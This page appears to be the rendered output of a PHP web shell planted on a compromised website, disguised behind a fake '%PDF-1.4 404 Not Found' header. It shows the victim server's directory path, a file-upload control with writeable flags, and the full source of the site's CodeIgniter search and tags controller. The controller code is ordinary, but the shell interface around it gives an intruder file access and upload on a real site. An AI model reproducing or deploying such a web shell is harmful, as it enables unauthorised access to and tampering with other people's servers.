%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/web/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/web/app/Controllers/Search.php
<?php
namespace App\Controllers;

use App\Models\MenuModel;
use App\Models\Theme_Model;
use CodeIgniter\Controller;
use App\Models\Artikel_Model;
use App\Models\Produk_Model;
use App\Models\Video_Model;
use App\Models\Pos_Modul_Model;
use App\Models\Dataclient_Model;
use App\Models\Perusahaan_Model;
use App\Models\News_Statis_Model;
use App\Models\Daftar_Tags;
use App\Models\Daftar_Tags_Produk;
use App\Models\Daftar_Tags_Video;


// use App\Models\History_model;

class Search extends BaseController
{
    protected $History;
    protected $Theme_Model;
    protected $Pos_Modul_Model;
    protected $Artikel_Model;
    protected $Produk_Model;
    protected $Video_Model;
    protected $Perusahaan_Model;
    protected $MenuModel;
    protected $News_Statis_Model;
    protected $Dataclient_Model;
    protected $Daftar_Tags;
    protected $Daftar_Tags_Produk;
    protected $Daftar_Tags_Video;

    protected $session;

    public function __construct()
    {
        $this->session = session();

        $this->Theme_Model = new Theme_Model();
        $this->Artikel_Model = new Artikel_Model();
        $this->Produk_Model = new Produk_Model();
        $this->Video_Model = new Video_Model();
        $this->Pos_Modul_Model = new Pos_Modul_Model();
        $this->News_Statis_Model = new News_Statis_Model();
        $this->Perusahaan_Model = new Perusahaan_Model();
        $this->MenuModel = new MenuModel();
        $this->Dataclient_Model = new Dataclient_Model();
        $this->Daftar_Tags = new Daftar_Tags();
        $this->Daftar_Tags_Produk = new Daftar_Tags_Produk();
        $this->Daftar_Tags_Video = new Daftar_Tags_Video();
        //----- load theme ------
        $theme_data = $this->Theme_Model->get_theme()->getResultArray();
        $this->theme = $theme_data[0]['folder'];
        $this->theme_id = $theme_data[0]['id'];

        //---- load mainmenu -----
        $this->mainmenu = $this->MenuModel->get_menu(2)->getResultArray();

        //----- load pos_modul Model ------
        $this->dt_model = $this->Pos_Modul_Model->get_posmodul($this->theme_id, 'HOME', 'Footer')->getResult();
        foreach ($this->dt_model as $PM) {
            if (!is_null($PM->model)) {
                $mm = 'App\Models\\' . $PM->model;
                $this->data[$PM->model] = model($mm, false);
            }
        }

        //$this->dt_posmodul			= $this->Pos_Modul_Model->get_posmodul($this->theme_id,'HOME','Middle')->getResultArray();
        $this->dt_posmodul_footer = $this->Pos_Modul_Model->get_posmodul($this->theme_id, 'HOME', 'Footer')->getResultArray();

        $this->url_base = "https://www.lautnusantara.com";
        $this->dt_perusahaan = $this->Perusahaan_Model->get_data(1)->getResult();

    }

    public function index($id = false)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $date = date_create();
        $tgl = date_format($date, "d/m/Y");

        foreach ($this->dt_model as $PM) {
            if (!is_null($PM->model)) {
                $data[$PM->model] = $this->data[$PM->model];
            }
        }
        //--- mencatat IP dan userAgent -----
        $agent = $this->request->getUserAgent();
        $this->Dataclient_Model->get_client_ip_browser('Search', '.230', $agent);
        $this->Dataclient_Model->get_online_user($agent);

        //$isi_artikel	= $this->News_Statis_Model->get_produk($id)->getResultArray();
        //$id    	= $isi_artikel[0]['id'];
        //$hits  	= $isi_artikel[0]['hits'];

        //$hits  	= $this->hits_artikel($id,$hits,2); 

        $catid = false;
        //$id		= $this->request->getVar('artikel_id');

        $data['canonical_url'] = current_url();
        $data['dt_posmodul_footer'] = $this->dt_posmodul_footer;
        $data['url_logo'] = $this->dt_perusahaan[0]->logo;
        $data['nama_perus'] = $this->dt_perusahaan[0]->nama;
        $data['copyright'] = $this->dt_perusahaan[0]->copyright;
        $data['url_favicon'] = $this->dt_perusahaan[0]->favicon;
        $data['telp'] = $this->dt_perusahaan[0]->telp;
        $data['telp2'] = $this->dt_perusahaan[0]->telp2;
        $data['telp3'] = $this->dt_perusahaan[0]->telp3;
        $data['telp4'] = $this->dt_perusahaan[0]->telp4;
        $data['telp5'] = $this->dt_perusahaan[0]->telp5;
        $data['cs'] = $this->dt_perusahaan[0]->cs;
        $data['cs2'] = $this->dt_perusahaan[0]->cs2;
        $data['cs3'] = $this->dt_perusahaan[0]->cs3;
        $data['cs4'] = $this->dt_perusahaan[0]->cs4;
        $data['cs5'] = $this->dt_perusahaan[0]->cs5;
        $data['jenis_wa'] = $this->dt_perusahaan[0]->jenis_wa;
        $data['email'] = $this->dt_perusahaan[0]->email;
        $data['email2'] = $this->dt_perusahaan[0]->email2;
        $data['email3'] = $this->dt_perusahaan[0]->email3;
        $data['email4'] = $this->dt_perusahaan[0]->email4;
        $data['email5'] = $this->dt_perusahaan[0]->email5;

        $data['title'] = 'Search';
        $data['alias'] = 'search';
        $data['id'] = '3';
        $data['catid'] = '2';
        $data['published'] = $tgl;
        $data['created'] = $tgl;
        // $data['url_data'] = $this->url_base . '/detail';
        $data['url_image'] = $this->url_base;
        $data['url_base'] = $this->url_base;
        $data['penulis'] = '';

        $data['description'] = 'Search';
        $data['keywords'] = 'search';
        $data['author'] = $this->dt_perusahaan[0]->nama;

        $data['parent_id_menu'] = '0';
        $data['id_menu'] = '2';
        $data['page1'] = 'Search';
        $data['page2'] = '';
        $data['link01'] = base_url();
        $data['theme'] = $this->theme;
        $data['mainmenu'] = $this->mainmenu;

        $data['cat_id'] = $id;
        $keyword = $this->request->getVar('keyword');
        $option = $this->request->getVar('search_option');

        if ($option == 'tips' || $keyword == null) {
            $data['list_artikel'] = $this->Artikel_Model->get_data_artikel(false, false, $keyword)->paginate(12);
            $data['pager'] = $this->Artikel_Model->pager;
            $data['url_data'] = $this->url_base . '/detail/artikel';
        }

        if ($option == 'produk') {
            $data['list_artikel'] = $this->Produk_Model->get_data_produk(false, false, $keyword)->paginate(12);
            $data['pager'] = $this->Produk_Model->pager;
            $data['url_data'] = $this->url_base . '/detail/produk';
        }

        if ($option == 'video') {
            $data['list_artikel'] = $this->Video_Model->get_data_video(false, false, $keyword)->paginate(12);
            $data['pager'] = $this->Video_Model->pager;
            $data['url_data'] = $this->url_base . '/detail/video';
        }

        $data['keyword'] = $keyword;
        $data['option'] = $option;

        $data['componen'] = 'theme/' . $this->theme . '/halaman/search';
        echo view('layout', $data);
    }

    public function tags_artikel($id = false)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $date = date_create();
        $tgl = date_format($date, "d/m/Y");

        foreach ($this->dt_model as $PM) {
            if (!is_null($PM->model)) {
                $data[$PM->model] = $this->data[$PM->model];
            }
        }
        //--- mencatat IP dan userAgent -----
        $agent = $this->request->getUserAgent();
        $this->Dataclient_Model->get_client_ip_browser('Tags Artikel', '.330', $agent);
        $this->Dataclient_Model->get_online_user($agent);

        //$isi_artikel	= $this->News_Statis_Model->get_produk($id)->getResultArray();
        //$id    	= $isi_artikel[0]['id'];
        //$hits  	= $isi_artikel[0]['hits'];

        //$hits  	= $this->hits_artikel($id,$hits,2); 

        $catid = false;
        //$id		= $this->request->getVar('artikel_id');
        $data['canonical_url'] = current_url();
        $data['dt_posmodul_footer'] = $this->dt_posmodul_footer;
        $data['url_logo'] = $this->dt_perusahaan[0]->logo;
        $data['nama_perus'] = $this->dt_perusahaan[0]->nama;
        $data['copyright'] = $this->dt_perusahaan[0]->copyright;
        $data['url_favicon'] = $this->dt_perusahaan[0]->favicon;
        $data['telp'] = $this->dt_perusahaan[0]->telp;
        $data['telp2'] = $this->dt_perusahaan[0]->telp2;
        $data['telp3'] = $this->dt_perusahaan[0]->telp3;
        $data['telp4'] = $this->dt_perusahaan[0]->telp4;
        $data['telp5'] = $this->dt_perusahaan[0]->telp5;
        $data['cs'] = $this->dt_perusahaan[0]->cs;
        $data['cs2'] = $this->dt_perusahaan[0]->cs2;
        $data['cs3'] = $this->dt_perusahaan[0]->cs3;
        $data['cs4'] = $this->dt_perusahaan[0]->cs4;
        $data['cs5'] = $this->dt_perusahaan[0]->cs5;
        $data['jenis_wa'] = $this->dt_perusahaan[0]->jenis_wa;
        $data['email'] = $this->dt_perusahaan[0]->email;
        $data['email2'] = $this->dt_perusahaan[0]->email2;
        $data['email3'] = $this->dt_perusahaan[0]->email3;
        $data['email4'] = $this->dt_perusahaan[0]->email4;
        $data['email5'] = $this->dt_perusahaan[0]->email5;

        $data['title'] = 'Tags';
        $data['alias'] = 'tags';
        $data['id'] = '3';
        $data['catid'] = '2';
        $data['published'] = $tgl;
        $data['created'] = $tgl;
        $data['url_data'] = $this->url_base . '/detail/artikel';
        $data['url_image'] = $this->url_base;
        $data['url_base'] = $this->url_base;
        $data['penulis'] = '';

        $data['description'] = 'Tags Artikel';
        $data['keywords'] = 'articles';
        $data['author'] = $this->dt_perusahaan[0]->nama;

        $data['parent_id_menu'] = '0';
        $data['id_menu'] = '2';
        $data['page1'] = 'Search';
        $data['page2'] = '';
        $data['link01'] = base_url();
        $data['theme'] = $this->theme;
        $data['mainmenu'] = $this->mainmenu;

        $data['cat_id'] = $id;

        $request = \Config\Services::request();
        $tags = $request->uri->getSegment('3');
        $tags_id = $this->Artikel_Model->get_tags_id_by_name($tags)->getResult();
        $tags_id = $tags_id[0]->id;

        $data['list_artikel'] = $this->Daftar_Tags->get_tags_artikel($tags_id)->paginate(12);
        $data['pager'] = $this->Daftar_Tags->pager;
        $data['tags'] = str_replace('-', ' ', $tags);

        $data['componen'] = 'theme/' . $this->theme . '/halaman/tags';
        echo view('layout', $data);
    }

    public function tags_video($id = false)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $date = date_create();
        $tgl = date_format($date, "d/m/Y");

        foreach ($this->dt_model as $PM) {
            if (!is_null($PM->model)) {
                $data[$PM->model] = $this->data[$PM->model];
            }
        }
        //--- mencatat IP dan userAgent -----
        $agent = $this->request->getUserAgent();
        $this->Dataclient_Model->get_client_ip_browser('Tags Video', '430', $agent);
        $this->Dataclient_Model->get_online_user($agent);

        //$isi_artikel	= $this->News_Statis_Model->get_produk($id)->getResultArray();
        //$id    	= $isi_artikel[0]['id'];
        //$hits  	= $isi_artikel[0]['hits'];

        //$hits  	= $this->hits_artikel($id,$hits,2); 

        $catid = false;
        //$id		= $this->request->getVar('artikel_id');
        $data['canonical_url'] = current_url();
        $data['dt_posmodul_footer'] = $this->dt_posmodul_footer;
        $data['url_logo'] = $this->dt_perusahaan[0]->logo;
        $data['nama_perus'] = $this->dt_perusahaan[0]->nama;
        $data['copyright'] = $this->dt_perusahaan[0]->copyright;
        $data['url_favicon'] = $this->dt_perusahaan[0]->favicon;
        $data['telp'] = $this->dt_perusahaan[0]->telp;
        $data['telp2'] = $this->dt_perusahaan[0]->telp2;
        $data['telp3'] = $this->dt_perusahaan[0]->telp3;
        $data['telp4'] = $this->dt_perusahaan[0]->telp4;
        $data['telp5'] = $this->dt_perusahaan[0]->telp5;
        $data['cs'] = $this->dt_perusahaan[0]->cs;
        $data['cs2'] = $this->dt_perusahaan[0]->cs2;
        $data['cs3'] = $this->dt_perusahaan[0]->cs3;
        $data['cs4'] = $this->dt_perusahaan[0]->cs4;
        $data['cs5'] = $this->dt_perusahaan[0]->cs5;
        $data['jenis_wa'] = $this->dt_perusahaan[0]->jenis_wa;
        $data['email'] = $this->dt_perusahaan[0]->email;
        $data['email2'] = $this->dt_perusahaan[0]->email2;
        $data['email3'] = $this->dt_perusahaan[0]->email3;
        $data['email4'] = $this->dt_perusahaan[0]->email4;
        $data['email5'] = $this->dt_perusahaan[0]->email5;

        $data['title'] = 'Tags';
        $data['alias'] = 'tags';
        $data['id'] = '3';
        $data['catid'] = '2';
        $data['published'] = $tgl;
        $data['created'] = $tgl;
        $data['url_data'] = $this->url_base . '/detail/video';
        $data['url_image'] = $this->url_base;
        $data['url_base'] = $this->url_base;
        $data['penulis'] = '';

        $data['description'] = 'Tags Videos';
        $data['keywords'] = 'videos';
        $data['author'] = $this->dt_perusahaan[0]->nama;

        $data['parent_id_menu'] = '0';
        $data['id_menu'] = '2';
        $data['page1'] = 'Search';
        $data['page2'] = '';
        $data['link01'] = base_url();
        $data['theme'] = $this->theme;
        $data['mainmenu'] = $this->mainmenu;

        $data['cat_id'] = $id;

        $request = \Config\Services::request();
        $tags = $request->uri->getSegment('3');
        $tags_id = $this->Video_Model->get_tags_id_by_name($tags)->getResult();
        $tags_id = $tags_id[0]->id;

        $data['list_artikel'] = $this->Daftar_Tags_Video->get_tags_video($tags_id)->paginate(12);
        $data['pager'] = $this->Daftar_Tags_Video->pager;
        $data['tags'] = str_replace('-', ' ', $tags);

        $data['componen'] = 'theme/' . $this->theme . '/halaman/tags';
        echo view('layout', $data);
    }
    public function tags_produk($id = false)
    {
        $user_id = session()->get('user_id');
        $username = session()->get('username');
        $firstname = session()->get('firstname');
        $lastname = session()->get('lastname');

        $date = date_create();
        $tgl = date_format($date, "d/m/Y");

        foreach ($this->dt_model as $PM) {
            if (!is_null($PM->model)) {
                $data[$PM->model] = $this->data[$PM->model];
            }
        }
        //--- mencatat IP dan userAgent -----
        $agent = $this->request->getUserAgent();
        $this->Dataclient_Model->get_client_ip_browser('Tags Produk', '.530', $agent);
        $this->Dataclient_Model->get_online_user($agent);

        //$isi_artikel	= $this->News_Statis_Model->get_produk($id)->getResultArray();
        //$id    	= $isi_artikel[0]['id'];
        //$hits  	= $isi_artikel[0]['hits'];

        //$hits  	= $this->hits_artikel($id,$hits,2); 

        $catid = false;
        //$id		= $this->request->getVar('artikel_id');
        $data['canonical_url'] = current_url();
        $data['dt_posmodul_footer'] = $this->dt_posmodul_footer;
        $data['url_logo'] = $this->dt_perusahaan[0]->logo;
        $data['nama_perus'] = $this->dt_perusahaan[0]->nama;
        $data['copyright'] = $this->dt_perusahaan[0]->copyright;
        $data['url_favicon'] = $this->dt_perusahaan[0]->favicon;
        $data['telp'] = $this->dt_perusahaan[0]->telp;
        $data['telp2'] = $this->dt_perusahaan[0]->telp2;
        $data['telp3'] = $this->dt_perusahaan[0]->telp3;
        $data['telp4'] = $this->dt_perusahaan[0]->telp4;
        $data['telp5'] = $this->dt_perusahaan[0]->telp5;
        $data['cs'] = $this->dt_perusahaan[0]->cs;
        $data['cs2'] = $this->dt_perusahaan[0]->cs2;
        $data['cs3'] = $this->dt_perusahaan[0]->cs3;
        $data['cs4'] = $this->dt_perusahaan[0]->cs4;
        $data['cs5'] = $this->dt_perusahaan[0]->cs5;
        $data['jenis_wa'] = $this->dt_perusahaan[0]->jenis_wa;
        $data['email'] = $this->dt_perusahaan[0]->email;
        $data['email2'] = $this->dt_perusahaan[0]->email2;
        $data['email3'] = $this->dt_perusahaan[0]->email3;
        $data['email4'] = $this->dt_perusahaan[0]->email4;
        $data['email5'] = $this->dt_perusahaan[0]->email5;

        $data['title'] = 'Tags';
        $data['alias'] = 'tags';
        $data['id'] = '3';
        $data['catid'] = '2';
        $data['published'] = $tgl;
        $data['created'] = $tgl;
        $data['url_data'] = $this->url_base . '/detail/produk';
        $data['url_image'] = $this->url_base;
        $data['url_base'] = $this->url_base;
        $data['penulis'] = '';

        $data['description'] = 'Tags Produk';
        $data['keywords'] = 'products';
        $data['author'] = $this->dt_perusahaan[0]->nama;

        $data['parent_id_menu'] = '0';
        $data['id_menu'] = '2';
        $data['page1'] = 'Search';
        $data['page2'] = '';
        $data['link01'] = base_url();
        $data['theme'] = $this->theme;
        $data['mainmenu'] = $this->mainmenu;

        $data['cat_id'] = $id;

        $request = \Config\Services::request();
        $tags = $request->uri->getSegment('3');
        $tags_id = $this->Produk_Model->get_tags_id_by_name($tags)->getResult();
        $tags_id = $tags_id[0]->id;

        $data['list_artikel'] = $this->Daftar_Tags_Produk->get_tags_produk($tags_id)->paginate(12);
        $data['pager'] = $this->Daftar_Tags_Produk->pager;
        $data['tags'] = str_replace('-', ' ', $tags);

        $data['componen'] = 'theme/' . $this->theme . '/halaman/tags';
        echo view('layout', $data);
    }
}

WonXd677 Sh3LL